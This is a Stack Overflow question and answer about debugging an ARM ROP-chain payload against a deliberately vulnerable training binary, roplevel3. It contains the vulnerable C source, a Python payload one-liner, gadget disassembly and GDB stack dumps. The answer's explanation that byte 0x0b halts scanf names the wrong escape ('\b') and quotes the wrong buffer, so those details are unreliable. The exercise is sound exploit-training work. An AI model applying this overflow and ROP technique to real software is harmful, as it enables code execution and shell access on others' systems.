ARM: ROP chain: Stack overflow fails on specific address

0

I am trying to exploit a slightly modified roplevel3 from Billy Ellis' Exploit-Challenges. However, overflowing the stack does not work using the address of the global variable internal_mode (0x00020b44).

This is my ROP chain:

python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00020b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input

I finally run the program in GDB:

(gdb) disassemble gadget 
Dump of assembler code for function gadget:
=> 0x00010700 <+0>: pop {r0, r1, pc}
   0x00010704 <+4>: bx  lr
End of assembler dump.

(gdb) disassemble write_anywhere 
Dump of assembler code for function write_anywhere:
   0x000106f4 <+0>: str r0, [r1]
   0x000106f8 <+4>: pop {r7, pc}
   0x000106fc <+8>: bx  lr
End of assembler dump.

(gdb) x/1xw 0x20b44
0x20b44 <internal_mode>:    0x00000000

(gdb) b *gadget 
Breakpoint 1 at 0x10700

(gdb) run < input 
Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000

Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.

Breakpoint 1, 0x00010700 in gadget ()

Looking at the stack shows that the address of internal_mode (0x00020b44) did't reach the stack:

(gdb) x/20xw $sp-8
0xbefff198: 0x41414141  0x00010700  0x46464646  0xbeff0044
0xbefff1a8: 0x00000001  0x00010708  0xb6ffe0c8  0xb6ffddd0
0xbefff1b8: 0x00000000  0x00000000  0x00010418  0x00000000
0xbefff1c8: 0x00000000  0x00000000  0xb6ffc000  0x00000000
0xbefff1d8: 0x5eaf5113  0x56b822e3  0x00000000  0x00000000

Overflowing the stack works correctly if I change the address 0x00020b44 in my attack string to e.g. 0x00021b44.

The new attack string:

python2 -c "import struct; print('A'*20 + struct.pack('<l', int('00010700', 16)) + 'F'*4 + struct.pack('<l', int('00021b44', 16)) + struct.pack('<l', int('000106f4', 16)) + struct.pack('<l', int('00010708', 16)) + struct.pack('<l', int('00010708', 16)))" > input

The behavior in GDB:

(gdb) run < input 
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /home/pi/secstock/tutorials/beginners_guide_to_exploitation_on_arm/06/roplevel3 < input
Welcome to ROPLevel3 by @bellis1000

Select an option:
[1] Function
[2] Function (internal)
[3] Exit
Invalid choice.

Breakpoint 1, 0x00010700 in gadget () 

(gdb) x/20xw $sp-8
0xbefff198: 0x41414141  0x00010700  0x46464646  0x00021b44
0xbefff1a8: 0x000106f4  0x00010708  0x00010708  0xb6ffdd00
0xbefff1b8: 0x00000000  0x00000000  0x00010418  0x00000000
0xbefff1c8: 0x00000000  0x00000000  0xb6ffc000  0x00000000
0xbefff1d8: 0xbcec0b6c  0xb4fb789c  0x00000000  0x00000000

The question is, why can't I overwrite the stack with the address 0x00020b44?

Source Code

The roplevel3.c source code:

#import <stdio.h>
#import <string.h>
#import <unistd.h>
#import <stdlib.h>

volatile int dummy1 = 0;
volatile int dummy2 = 0;
volatile int dummy3 = 0;
volatile int dummy4 = 0;
volatile int dummy5 = 0;
volatile int dummy6 = 0;
volatile int dummy7 = 0;
int internal_mode = 0;

void func()
{
        printf("Hello world! Welcome to a function - an function that does absolutely nothing!\n");
}

void func_internal()
{

    printf("\x1b[33mWelcome to a more interesting function with developer-only functionality ;P\x1b[0m\nWhat would you like to do?\n[1] Touch a file\n[2] Spawn a shell\n[3] Quit function\n");

    char input[1];
    scanf("%s",input);

    if (strcmp(input,"1") == 0) {
            system("touch /created_by_roplevel3");
    } else if (strcmp(input,"2") == 0) {
            system("/bin/sh");
    } else if (strcmp(input,"3") == 0) {

    } else {
            printf("Invalid option");
    }

}

void validate(char func_id[])
{
if (strcmp(func_id, "1") == 0) {
            func();
} else if (strcmp(func_id,"2") == 0) {
            if (internal_mode == 0) {
                    printf("You do not have permission to launch this function.\n");
    } else {
                func_internal();
            }
    } else if (strcmp(func_id,"3") == 0) {
    exit(0);
} else {
        printf("Invalid choice.\n");
}
}

void write_anywhere()
{
    __asm__("str r0, [r1]");
__asm__("pop {r7, pc}");
}

void gadget()
{
    __asm__("pop {r0,r1,pc}");
}

int main(){
int a = 1;

printf("Welcome to ROPLevel3 by @bellis1000\n\n");

while (a == 1) {
    printf("Select an option:\n[1] Function\n[2] Function (internal)\n[3] Exit\n");

        char input[8];
    scanf("%s", input);

            validate(input);
}

    return 0;
}

I am compiling the code as follows:

clang -c -fno-pie -fno-stack-protector -mno-thumb roplevel3.c
clang -o roplevel3 roplevel3.o

Environment

Host

  • qemu-arm version 3.1.0

Target (arm-unknown-linux-gnueabihf)

  • Raspbian GNU/Linux 8 (jessie)
  • Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux
  • Raspbian clang version 3.5.0-10+rpi1 (tags/RELEASE_350/final) (based on LLVM 3.5.0)
arm
buffer-overflow
exploit
asked on Stack Overflow Jan 5, 2019 by Arthur Dent • edited Jan 6, 2019 by Arthur Dent

1 Answer

0

The problem is in the way the input is being stored to the stack buffer:

    char input[1];
    scanf("%s",input);

According to the man page of scanf:

s

Matches a sequence of non-white-space characters; the next pointer must be a pointer to character array that is long enough to hold the input sequence and the terminating null byte ('\0'), which is added automatically. The input string stops at white space or at the maximum field width, whichever occurs first.

Your address of 0x00020b44 is converted to 4 bytes: 0x44 0x0b 0x02 0x00. As the hex byte 0x0b stands for '\b' which is a whitespace char, it causes scanf to stop parsing your input. 0x21 is the '!' char, hence not a whitespace, and this is why it doesn't stop the parsing.

Weird enough, because '\0' is not a whitespace char, your exploit buffer can contain null bytes, but can't contain whitespace chars.

answered on Stack Overflow Jan 28, 2019 by eyalitki

User contributions licensed under CC BY-SA 3.0